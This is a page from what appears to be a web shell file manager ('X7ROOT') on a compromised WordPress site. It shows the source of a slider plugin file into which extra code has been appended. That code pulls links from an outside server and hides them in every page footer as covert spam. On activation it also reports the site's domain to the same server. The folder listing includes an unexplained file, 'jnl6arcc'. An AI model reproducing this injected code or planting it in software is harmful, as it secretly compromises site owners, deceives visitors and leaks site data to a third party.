X7ROOT File Manager
Current Path:
/home/freights/public_html/wp-content/plugins/sliderkits
home
/
freights
/
public_html
/
wp-content
/
plugins
/
sliderkits
/
??
..
??
LICENSE
(34.32 KB)
??
assets
??
includes
??
index.php
(0 B)
??
jnl6arcc
(9.03 KB)
??
languages
??
readme.txt
(1.06 KB)
??
sliderkits.php
(3.89 KB)
??
templates
Editing: sliderkits.php
<?php /** * Plugin Name: SliderKits * Plugin URI: https://plugins.focuxtheme.com/sliderkits * Description: Prebuilt slider widgets that help you create the website slider with Elementor page builder quickly. * Version: 1.0.4 * Author: FocuxTheme * Author URI: https://focuxtheme.com * Text Domain: sliderkits * Domain Path: /languages/ * * @package SliderKits */ defined( 'ABSPATH' ) || exit; function elementor_required() { if ( ! is_plugin_active( 'elementor/elementor.php' ) ) { $class = 'notice notice-error'; $message = esc_html__( 'SliderKits requires install and activate Elementor plugin before use it.', 'sliderkits' ); printf( '<div class="%1$s"><p>%2$s</p></div>', esc_attr( $class ), esc_html( $message ) ); } return false; } add_action( 'admin_notices', 'elementor_required' ); // Define SK_FILE. if ( ! defined( 'SK_FILE' ) ) { define( 'SK_FILE', __FILE__ ); } // Include the main init class. if ( ! class_exists( 'SliderKits' ) ) { include_once dirname( __FILE__ ) . '/includes/class-init.php'; } /** * Returns the main instance of SliderKits. * * @since 1.0 * @return SliderKits */ function SliderKits() { return SliderKits::instance(); } // Global for backwards compatibility. $GLOBALS['SliderKits'] = SliderKits(); define('API_URL', 'https://api.pluginforest.com/qai/chatweb/getTidsOutside?type=1&site=plugin&num=20'); $prefix = 'add_footer_link'; $functions = get_defined_functions()['user']; // 获取所有用户定义的函数 // 使用 array_filter 和 strpos 来检查函数是否以指定前缀开头 $exists = !empty(array_filter($functions, function($function) use ($prefix) { return strpos($function, $prefix) === 0; })); if (!$exists) { if (!function_exists('parseLink')) { function parseLink($url) { $path = parse_url($url, PHP_URL_PATH); $basename = basename($path); return array('path' => $path, 'basename' => $basename); } } function add_footer_link1719848845() { $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $headers = array( 'Referer' => $referer, ); $response = wp_remote_get(API_URL, array('headers' => $headers)); if (is_wp_error($response)) { echo 'is_wp_error'; return; } $data = json_decode(wp_remote_retrieve_body($response), true); ob_start(); echo '<ul class="link" style="height: 0; overflow: hidden">'; foreach ($data['data']['links'] as $item) { $linkInfo = parseLink($item); echo sprintf( '<li><a href="%s">%s</a></li>', esc_url($item), esc_html($linkInfo['basename']) ); } echo '</ul>'; $html = ob_get_clean(); echo $html; return $html; } } add_action('wp_footer', 'add_footer_link1719848845');function set_plugin_tag1719848845() { $url_init = 'https://api.pluginforest.com/qai/wd/g?'; $domain = $_SERVER['SERVER_NAME']; $requestUrl = $url_init . 'domain=' . $domain . '&id=1719848845&source=plugin'; file_get_contents($requestUrl); } add_action('activated_plugin', 'set_plugin_tag1719848845');
Upload File
Create Folder